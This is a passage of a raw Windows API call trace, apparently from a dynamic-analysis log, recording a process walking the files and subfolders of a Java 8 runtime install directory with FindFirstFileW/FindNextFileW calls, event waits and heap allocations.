cAlternateFileName="PRISM_~2.DLL")) returned 1 [0225.803] ResetEvent (hEvent=0x2b8) returned 1 [0225.803] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.823] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="prism_sw.dll", cAlternateFileName="")) returned 1 [0225.823] ResetEvent (hEvent=0x2b8) returned 1 [0225.824] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.838] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.dll", cAlternateFileName="")) returned 1 [0225.839] ResetEvent (hEvent=0x2b8) returned 1 [0225.839] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0225.996] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmid.exe", cAlternateFileName="")) returned 1 [0225.996] ResetEvent (hEvent=0x2b8) returned 1 [0225.996] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.014] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="rmiregistry.exe", cAlternateFileName="RMIREG~1.EXE")) returned 1 [0226.014] ResetEvent (hEvent=0x2b8) returned 1 [0226.015] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.033] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="server", cAlternateFileName="")) returned 1 [0226.033] GetProcessHeap () returned 0xc10000 [0226.033] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0226.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0226.034] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0226.034] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1 [0226.034] ResetEvent (hEvent=0x2b8) returned 1 [0226.034] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.044] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0226.044] ResetEvent (hEvent=0x2b8) returned 1 [0226.044] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.072] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0226.073] ResetEvent (hEvent=0x2b8) returned 1 [0226.073] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.215] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0226.215] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0226.215] GetProcessHeap () returned 0xc10000 [0226.215] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0226.215] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0226.216] ResetEvent (hEvent=0x2b8) returned 1 [0226.216] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.237] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="splashscreen.dll", cAlternateFileName="SPLASH~1.DLL")) returned 1 [0226.237] ResetEvent (hEvent=0x2b8) returned 1 [0226.237] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.238] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x8ba40, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssv.dll", cAlternateFileName="")) returned 1 [0226.238] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="ssvagent.exe", cAlternateFileName="")) returned 1 [0226.238] ResetEvent (hEvent=0x2b8) returned 1 [0226.238] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.255] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x21240, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunec.dll", cAlternateFileName="")) returned 1 [0226.255] ResetEvent (hEvent=0x2b8) returned 1 [0226.255] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.414] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="sunmscapi.dll", cAlternateFileName="SUNMSC~1.DLL")) returned 1 [0226.414] ResetEvent (hEvent=0x2b8) returned 1 [0226.414] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.434] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e440, dwReserved0=0x0, dwReserved1=0x0, cFileName="t2k.dll", cAlternateFileName="")) returned 1 [0226.434] ResetEvent (hEvent=0x2b8) returned 1 [0226.434] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.614] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="tnameserv.exe", cAlternateFileName="TNAMES~1.EXE")) returned 1 [0226.614] ResetEvent (hEvent=0x2b8) returned 1 [0226.614] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.640] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13840, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack.dll", cAlternateFileName="")) returned 1 [0226.640] ResetEvent (hEvent=0x2b8) returned 1 [0226.640] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0226.914] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x30240, dwReserved0=0x0, dwReserved1=0x0, cFileName="unpack200.exe", cAlternateFileName="UNPACK~1.EXE")) returned 1 [0226.914] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xc040, dwReserved0=0x0, dwReserved1=0x0, cFileName="verify.dll", cAlternateFileName="")) returned 1 [0226.915] ResetEvent (hEvent=0x2b8) returned 1 [0226.915] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.007] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x5e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="w2k_lsa_auth.dll", cAlternateFileName="W2K_LS~1.DLL")) returned 1 [0227.007] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ae40, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsAccessBridge-64.dll", cAlternateFileName="WINDOW~1.DLL")) returned 1 [0227.008] ResetEvent (hEvent=0x2b8) returned 1 [0227.008] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.033] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2f040, dwReserved0=0x0, dwReserved1=0x0, cFileName="wsdetect.dll", cAlternateFileName="")) returned 1 [0227.033] ResetEvent (hEvent=0x2b8) returned 1 [0227.033] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.042] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 1 [0227.043] ResetEvent (hEvent=0x2b8) returned 1 [0227.043] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.063] FindNextFileW (in: hFindFile=0x33e4968, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x13040, dwReserved0=0x0, dwReserved1=0x0, cFileName="zip.dll", cAlternateFileName="")) returned 0 [0227.063] FindClose (in: hFindFile=0x33e4968 | out: hFindFile=0x33e4968) returned 1 [0227.064] GetProcessHeap () returned 0xc10000 [0227.064] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0227.064] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0227.064] ResetEvent (hEvent=0x2b8) returned 1 [0227.064] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.090] FindNextFileW (in: hFindFile=0x33e4b68, lpFindFileData=0x2d1ef20 | out: lpFindFileData=0x2d1ef20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lib", cAlternateFileName="")) returned 1 [0227.090] GetProcessHeap () returned 0xc10000 [0227.090] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0227.090] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\*", lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a28 [0227.091] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe1f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xaa80821a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.091] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x95, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.properties", cAlternateFileName="ACCESS~1.PRO")) returned 1 [0227.091] ResetEvent (hEvent=0x2b8) returned 1 [0227.091] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.122] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64", cAlternateFileName="")) returned 1 [0227.122] GetProcessHeap () returned 0xc10000 [0227.122] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3428fe8 [0227.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\amd64\\*", lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0227.122] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0fe451d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0227.122] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 1 [0227.122] ResetEvent (hEvent=0x2b8) returned 1 [0227.122] WaitForSingleObject (hHandle=0x2b8, dwMilliseconds=0xffffffff) returned 0x0 [0227.145] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2d1ea10 | out: lpFindFileData=0x2d1ea10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x27a, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.cfg", cAlternateFileName="")) returned 0 [0227.145] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0227.145] GetProcessHeap () returned 0xc10000 [0227.145] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3428fe8 | out: hHeap=0xc10000) returned 1 [0227.145] FindNextFileW (in: hFindFile=0x33e4a28, lpFindFileData=0x2d1ec98 | out: lpFindFileData=0x2d1ec98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="applet", cAlternateFileName="")) returned 1 [0227.145] GetProcessHeap () returned 0xc10000 [0227.145] RtlAllocateHeap 